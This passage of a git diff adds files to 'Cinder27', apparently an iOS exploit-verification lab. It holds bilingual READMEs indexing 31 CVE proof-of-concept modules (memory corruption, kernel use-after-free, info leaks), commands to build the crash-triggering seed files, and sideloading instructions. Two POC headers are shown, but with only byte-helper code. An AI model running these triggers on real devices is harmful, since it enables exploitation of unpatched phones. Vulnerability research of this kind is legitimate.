0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-113912/CVE-2026-113912.swift b/CVE-2026-113912/CVE-2026-113912.swift new file mode 100644 index 0000000..b0d7ac7 --- /dev/null +++ b/CVE-2026-113912/CVE-2026-113912.swift @@ -0,0 +1,41 @@ +// aud.drc · AudioCodecs · mpddrc::UniDrcSelection · CVE-2026-113912 / 86972 +// 原语: OOB 读 · 系统进程 · tier 2 +// Primitive: OOB read · system process · tier 2 +// +// [zh] MPEG-D DRC 下混矩阵系数校验 +// selectDownmixMatrix 在 27.0 仅有零值与相等性检查;矩阵维度直接取自 DRC 元数据,不与系数数组的实际长度比较。27.2 补入三道闸门:nChannels ≤ 8、维度有序、系数数 +// == 行×列,并为 getSignalPeakLevel 与 Process 增加计数校验。 +// +// [en] MPEG-D DRC downmix matrix coefficient validation +// On 27.0 selectDownmixMatrix has only zero and equality checks; the matrix dimensions come straight +// from DRC metadata and are never compared against the coefficient array's real length. iOS 27.2 +// adds three gates — nChannels ≤ 8, ordered dimensions, coefficient count == rows×cols — plus count +// checks in getSignalPeakLevel and Process. +// ── 判别 / oracle ── +// 需要 MPEG-D DRC 元数据的音频文件。应用侧探 AudioCodecs 是否导出这些符号。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-65385/CVE-2026-65385.swift b/CVE-2026-65385/CVE-2026-65385.swift new file mode 100644 index 0000000..81d5452 --- /dev/null +++ b/CVE-2026-65385/CVE-2026-65385.swift @@ -0,0 +1,40 @@ +// kext.iohid · IOKit.framework · IOHIDEventAppendEvent · CVE-2026-65385 +// 原语: OOB 写 · 内核 · tier 3 +// Primitive: OOB write · kernel · tier 3 +// +// [zh] IOKit 事件短堆固定偏移写 +// 该缺陷的载体为用户态 IOKit.framework 而非 kext:IOHIDEventAppendEvent 在短堆事件上按固定偏移执行 OR 写。27.2 在 framework 内修复, +// 内核 __DATA_CONST 的 assert 表中不存在相关记录。 +// +// [en] IOKit event short-heap fixed-offset write +// This defect's carrier is user-space IOKit.framework rather than a kext: IOHIDEventAppendEvent performs +// an OR write at a fixed offset on a short heap event. iOS 27.2 fixes it inside the framework; the +// kernel's __DATA_CONST assert table has no related record. +// ── 判别 / oracle ── +// 探用户态 IOKit 是否导出事件构造入口。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/Info.plist b/Info.plist new file mode 100644 index 0000000..32edc00 --- /dev/null +++ b/Info.plist @@ -0,0 +1,78 @@ + + + + + CFBundleDevelopmentRegion + zh_CN + CFBundleDisplayName + Cinder27 + CFBundleExecutable + Cinder27 + CFBundleIdentifier + com.jbjf.cinder27 + CFBundleInfoDictionaryVersion + 6.0 + CFBundleLocalizations + + zh-Hans + en + + CFBundleName + Cinder27 + CFBundlePackageType + APPL + CFBundleShortVersionString + 1.0 + CFBundleSupportedPlatforms + + iPhoneOS + + CFBundleVersion + 2 + DTPlatformName + iphoneos + DTPlatformVersion + 27.0 + DTSDKName + iphoneos27.0 + ITSAppUsesNonExemptEncryption + + LSSupportsOpeningDocumentsInPlace + + LSRequiresIPhoneOS + + MinimumOSVersion + 17.0 + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + + UIDeviceFamily + + 1 + 2 + + UIFileSharingEnabled + + UILaunchScreen + + UIRequiredDeviceCapabilities + + arm64 + + UIStatusBarStyle + UIStatusBarStyleDefault + UISupportedInterfaceOrientations + + UIInterfaceOrientationPortrait + + UISupportedInterfaceOrientations~ipad + + UIInterfaceOrientationPortrait + UIInterfaceOrientationPortraitUpsideDown + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + + diff --git a/README.md b/README.md new file mode 100644 index 0000000..27c218a --- /dev/null +++ b/README.md @@ -0,0 +1,127 @@ +# Cinder27 + +[中文](README.zh-CN.md) + +An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **51 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). + +Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing. + +## Repository layout + +| Block | Contents | +|---|---| +| `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable) and/or a `.swift` seed construction + trigger closures (standalone typecheckable) | +| `/` (11) | Modules without a CVE number — tools, probes, baselines, sandbox primitives — named by module id, same folder-per-file shape | +| `Sources/` `scripts/` `Resources/` `Info.plist` | The Cinder27 app itself (the verification harness; build below) | + +42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds). + +## POC index — 31 CVE folders + +Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's folder; where one CVE is hit by several modules, the trigger closures sit side by side in the same file. + +| CVE | Modules | Component | Primitive | Reach | Title | Files | +|---|---|---|---|---|---|---| +| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder plugin | OOB read | system process | MVHEVC layer id out of range | `CVE-2026-112415.swift` | +| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder plugin (not a kext) | OOB write | system process | AVC slice count cap missing | `CVE-2026-112416.swift` | +| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB read | in-process | USDA declaration nesting depth | `CVE-2026-112485.py` · `CVE-2026-112485.swift` | +| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB write | in-process | TIFF directory entry allocation 32-bit truncation | `CVE-2026-112488.swift` | +| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c request-table consumers | use-after-free | kernel | ipc_port request table index race | `CVE-2026-112507.swift` | +| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps table lookup | OOB read | peripheral | IOHIDFamily preparsed data table index | `CVE-2026-112515.swift` | +| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB write | in-process | ISO9660 Joliet pathname heap overflow | `CVE-2026-112522.py` · `CVE-2026-112522.swift` | +| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB read | system process | HOA spatial audio coefficient out-of-bounds read | `CVE-2026-112546.swift` | +| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB read | kernel | GPT partition name scan 72-byte kernel heap out-of-bounds read | `CVE-2026-112554.swift` | +| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | info leak | in-process | EXIF UserComment short read → metadata disclosure | `CVE-2026-112571.swift` | +| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` | +| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` | +| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` | +| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` | +| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` | +| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` | +| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | info leak | in-process | APNG fcTL truncation → uninitialised frame geometry on the stack | `CVE-2026-112630.swift` | +| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | info leak | in-process | TIFF truncated strip → uninitialised heap into pixels | `CVE-2026-112632.swift` | +| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB write | in-process | TIFF planar scatter out-of-bounds write | `CVE-2026-112633.swift` | +| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB read | in-process | JPEG marker length out of bounds | `CVE-2026-112634.swift` | +| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB write | entitlement-gated | LC3 decoder input buffer overflow | `CVE-2026-112638.swift` | +| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB write | system process | SpringBoard stashed layout name validation | `CVE-2026-112646.swift` | +| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB read | in-process | GDEFLigatureCaret offset-chain out-of-bounds read | `CVE-2026-112656.swift` | +| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` | +| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` | +| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` | +| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` | +| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` | +| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` | +| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` | +| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` | + +## Modules without a CVE — 11 + +| Module | Component | Title | Files | +|---|---|---|---| +| [kern.baseline](kern.baseline/) | XNU · mach_port | Mach namespace baseline | `kern.baseline.swift` | +| [probe.privset](probe.privset/) | sandbox / signing / entitlements | This process's privilege surface | `probe.privset.swift` | +| [arc.rr](arc.rr/) | libarchive · RockRidge CL/PL | RockRidge relocation cycle (unfixed sibling) | `arc.rr.py` · `arc.rr.swift` | +| [sbx.toctou](sbx.toctou/) | libsystem_sandbox · sandbox_extension_issue_file | sandbox_extension symlink TOCTOU out-of-bounds read | `sbx.toctou.swift` | +| [tool.ipa](tool.ipa/) | IPASurgeon · MachO · ZipWriter | IPA surgery self-test (rename / inject / prepare for re-sign) | `tool.ipa.swift` | +| [tool.zip](tool.zip/) | ZipWriter + libarchive | ZIP writer round-trip self-test | `tool.zip.swift` | +| [tool.macho](tool.macho/) | MachO · MachOInspector | Mach-O parser self-test | `tool.macho.swift` | +| [tool.hex](tool.hex/) | HexTool | Hex search and replace self-test | `tool.hex.swift` | +| [tool.container](tool.container/) | Container · ensureAll / probe / repair / normalize | Container read/write normalisation (data container self-test and repair) | `tool.container.swift` | +| [tool.backup](tool.backup/) | BackupPane · ZipWriter · libarchive | Backup and restore round-trip self-test | `tool.backup.swift` | +| [tool.paths](tool.paths/) | Probe · FileManager | Filesystem permission matrix sweep | `tool.paths.swift` | + +## Anatomy of a POC file (.swift) + +Five sections, everything except comments extracted verbatim from the Cinder27 sources: + +1. **Bilingual header** — module id, component, CVE, primitive / reach / tier, zh+en summary +2. **Oracle** — the observable signal of this vulnerability on-device (crash site, return-code distribution, repeated-decode fingerprinting, timing windows…) +3. **`enum B`** — byte helpers (from `Sources/Kit.swift`) +4. **Seed construction** — payload builders and their dependency closure (from `Sources/Payloads.swift` / `Payloads2.swift`; `Entry` / `BitWriter` / `PDFBuilder` structs pulled in by reference) +5. **Trigger** — the module's `run` closure, verbatim (comment block; references `RunContext` / `Runners` / `tl()`, executes inside the app harness) + +The `.py` in seed folders is the same builder in its original Python (from `scripts/gen_seeds.py`) with a `__main__` writer — runnable as-is. + +## Running + +```bash +# Python seed builders — standalone +python3 CVE-2026-112522/CVE-2026-112522.py out.iso # → byte-identical joliet_path_oob.iso +python3 CVE-2026-112485/CVE-2026-112485.py deep_nest.usda +python3 CVE-2026-112625/CVE-2026-112625.py bad_dims.ktx2 +python3 CVE-2026-112683/CVE-2026-112683.py stack_bomb.cff +python3 arc.rr/arc.rr.py out.iso + +# Swift POC — standalone typecheck (no app dependency) +xcrun swiftc -parse-as-library -swift-version 5 -sdk "$(xcrun --sdk macosx --show-sdk-path)" \ + -target arm64-apple-macos14 -typecheck CVE-2026-112611/CVE-2026-112611.swift + +# Full triggers (decode, races, crash oracles) run inside the app harness +bash scripts/build-sim.sh # → build/sim/Cinder27.app, installed to the booted simulator +``` + +## Building the harness app + +Dependencies: macOS + Xcode command line tools (`xcode-select --install`); no third-party package manager. + +```bash +bash scripts/build-device.sh # → dist/Cinder27-unsigned.ipa (arm64, iOS 17.0+, unsigned) +bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator) +python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) +``` + +Device install: bundle id `com.jbjf.cinder27` (v1.0 build 2), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. + +## Verification status + +Full 51-module regression (simulator build): **47 done + 4 armed**. + +Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV — CVE-2026-112688's struct out-of-bounds write genuinely lands on the simulator build. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. + +## Module semantics + +- **tier 1** — direct primitive hit (OOB write / UAF / type confusion); the crash is the evidence +- **tier 2** — observable signal (info-leak fingerprints, return-code distributions, timing windows); needs a baseline comparison +- **probe / baseline / tool** — environment probes, kernel baseline sampling, device-modification tools (hex editing, xattr / decmpfs surgery, MachO analysis, container / backup / IPA signing / paths / zip) + +The app switches zh/en at runtime (`RuntimeText`, 633 fully mapped keys, no hardcoded CJK residue). diff --git a/README.zh-CN.md b/README.zh-CN.md new file mode 100644 index 0000000..cc55e3c --- /dev/null +++ b/README.zh-CN.md @@ -0,0 +1,127 @@ +# Cinder27 + +[English](README.md) + +iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 + +组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。 + +## 仓库结构 + +| 区块 | 内容 | +|---|---| +| `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)和/或 `.swift` 种子构造 + 触发闭包(可独立 typecheck) | +| `<模块名>/`(11 个) | 无 CVE 编号的模块——工具、探针、基线、沙盒原语——按模块 id 命名,同样一文件夹一文件 | +| `Sources/` `scripts/` `Resources/` `Info.plist` | Cinder27 app 主体(验证台本体,构建见下) | + +共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)。 + +## POC 索引 — 31 个 CVE 文件夹 + +复合编号(如 `CVE-2026-112627 / 112561`)归并到主编号的文件夹;同一 CVE 命中多个模块时,触发闭包并列在同一文件里。 + +| CVE | 模块 | 组件 | 原语 | 触达 | 标题 | 文件 | +|---|---|---|---|---|---|---| +| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder 插件 | OOB 读 | 系统进程 | MVHEVC 层 ID 越界 | `CVE-2026-112415.swift` | +| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder 插件(非 kext) | OOB 写 | 系统进程 | AVC 切片数量上限缺失 | `CVE-2026-112416.swift` | +| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB 读 | 进程内 | USDA 声明嵌套深度 | `CVE-2026-112485.py` · `CVE-2026-112485.swift` | +| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB 写 | 进程内 | TIFF 目录项分配 32 位截断 | `CVE-2026-112488.swift` | +| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c 请求表消费方 | UAF | 内核 | ipc_port 请求表索引竞态 | `CVE-2026-112507.swift` | +| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps 表查找 | OOB 读 | 外设 | IOHIDFamily 预解析数据表索引 | `CVE-2026-112515.swift` | +| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB 写 | 进程内 | ISO9660 Joliet 路径名堆溢出 | `CVE-2026-112522.py` · `CVE-2026-112522.swift` | +| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB 读 | 系统进程 | HOA 空间音频系数越界读 | `CVE-2026-112546.swift` | +| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB 读 | 内核 | GPT 分区名扫描 72 字节内核堆越界读 | `CVE-2026-112554.swift` | +| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | 信息泄露 | 进程内 | EXIF UserComment 短读 → 元数据泄露 | `CVE-2026-112571.swift` | +| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` | +| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` | +| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` | +| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` | +| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` | +| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` | +| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | 信息泄露 | 进程内 | APNG fcTL 截断 → 栈上未初始化帧几何 | `CVE-2026-112630.swift` | +| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | 信息泄露 | 进程内 | TIFF 截断条带 → 未初始化堆进像素 | `CVE-2026-112632.swift` | +| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB 写 | 进程内 | TIFF planar 散写越界 | `CVE-2026-112633.swift` | +| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB 读 | 进程内 | JPEG 标记长度越界 | `CVE-2026-112634.swift` | +| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB 写 | 权限受限 | LC3 解码器输入缓冲溢出 | `CVE-2026-112638.swift` | +| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB 写 | 系统进程 | SpringBoard 布局名 stash 校验 | `CVE-2026-112646.swift` | +| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB 读 | 进程内 | GDEFLigatureCaret 追链越界读 | `CVE-2026-112656.swift` | +| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` | +| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` | +| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` | +| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` | +| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` | +| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` | +| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB 读 | 系统进程 | MPEG-D DRC 下混矩阵系数校验 | `CVE-2026-113912.swift` | +| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB 写 | 内核 | IOKit 事件短堆固定偏移写 | `CVE-2026-65385.swift` | + +## 无 CVE 模块 — 11 个 + +| 模块 | 组件 | 标题 | 文件 | +|---|---|---|---| +| [kern.baseline](kern.baseline/) | XNU · mach_port | Mach 命名空间基线 | `kern.baseline.swift` | +| [probe.privset](probe.privset/) | 沙盒 / 签名 / entitlements | 本进程权限面 | `probe.privset.swift` | +| [arc.rr](arc.rr/) | libarchive · RockRidge CL/PL | RockRidge 重定位环(未修复孪生) | `arc.rr.py` · `arc.rr.swift` | +| [sbx.toctou](sbx.toctou/) | libsystem_sandbox · sandbox_extension_issue_file | sandbox_extension 符号链接 TOCTOU 越界读 | `sbx.toctou.swift` | +| [tool.ipa](tool.ipa/) | IPASurgeon · MachO · ZipWriter | IPA 手术自检(改包名 / 注入 / 重签名准备) | `tool.ipa.swift` | +| [tool.zip](tool.zip/) | ZipWriter + libarchive | ZIP 写入器往返自检 | `tool.zip.swift` | +| [tool.macho](tool.macho/) | MachO · MachOInspector | Mach-O 解析器自检 | `tool.macho.swift` | +| [tool.hex](tool.hex/) | HexTool | 十六进制查找替换自检 | `tool.hex.swift` | +| [tool.container](tool.container/) | Container · ensureAll / probe / repair / normalize | 容器读写正常化(数据容器自检 + 修复) | `tool.container.swift` | +| [tool.backup](tool.backup/) | BackupPane · ZipWriter · libarchive | 备份 / 回滚往返自检 | `tool.backup.swift` | +| [tool.paths](tool.paths/) | Probe · FileManager | 文件系统权限矩阵全扫 | `tool.paths.swift` | + +## POC 文件解剖(.swift) + +每个文件由五段构成,除注释外全部为 Cinder27 源码 verbatim 提取: + +1. **双语头** — 模块 id、组件、CVE、原语 / 触达 / tier、中英文摘要 +2. **判别 / oracle** — 该漏洞在本机上的可观测信号(崩溃点、返回码分布、多次解码指纹比对、超时窗口……) +3. **`enum B`** — 字节助手(来自 `Sources/Kit.swift`) +4. **种子构造** — payload 构建器及其依赖闭包(来自 `Sources/Payloads.swift` / `Payloads2.swift`;`Entry` / `BitWriter` / `PDFBuilder` 等结构体按引用自动带上) +5. **触发器** — 模块 `run` 闭包原文(注释块;引用 `RunContext` / `Runners` / `tl()`,在 app 验证台内执行) + +种子组的 `.py` 是同一构建器的 Python 原文(来自 `scripts/gen_seeds.py`),带 `__main__` 写盘入口,可直接运行。 + +## 运行 + +```bash +# Python 种子构建器 — 独立可跑 +python3 CVE-2026-112522/CVE-2026-112522.py out.iso # → joliet_path_oob.iso 字节一致 +python3 CVE-2026-112485/CVE-2026-112485.py deep_nest.usda +python3 CVE-2026-112625/CVE-2026-112625.py bad_dims.ktx2 +python3 CVE-2026-112683/CVE-2026-112683.py stack_bomb.cff +python3 arc.rr/arc.rr.py out.iso + +# Swift POC — 独立类型检查(无 app 依赖) +xcrun swiftc -parse-as-library -swift-version 5 -sdk "$(xcrun --sdk macosx --show-sdk-path)" \ + -target arm64-apple-macos14 -typecheck CVE-2026-112611/CVE-2026-112611.swift + +# 完整触发(解码、竞态、崩溃 oracle)在 app 验证台内执行 +bash scripts/build-sim.sh # → build/sim/Cinder27.app 并安装到已启动的模拟器 +``` + +## 构建验证台 app + +依赖:macOS + Xcode 命令行工具(`xcode-select --install`),无第三方包管理。 + +```bash +bash scripts/build-device.sh # → dist/Cinder27-unsigned.ipa(arm64,iOS 17.0+,未签名) +bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器) +python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) +``` + +设备安装:bundle id `com.jbjf.cinder27`(v1.0 build 2),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 + +## 验证状态 + +51 模块全量回归(模拟器构建):**47 done + 4 armed**。 + +armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 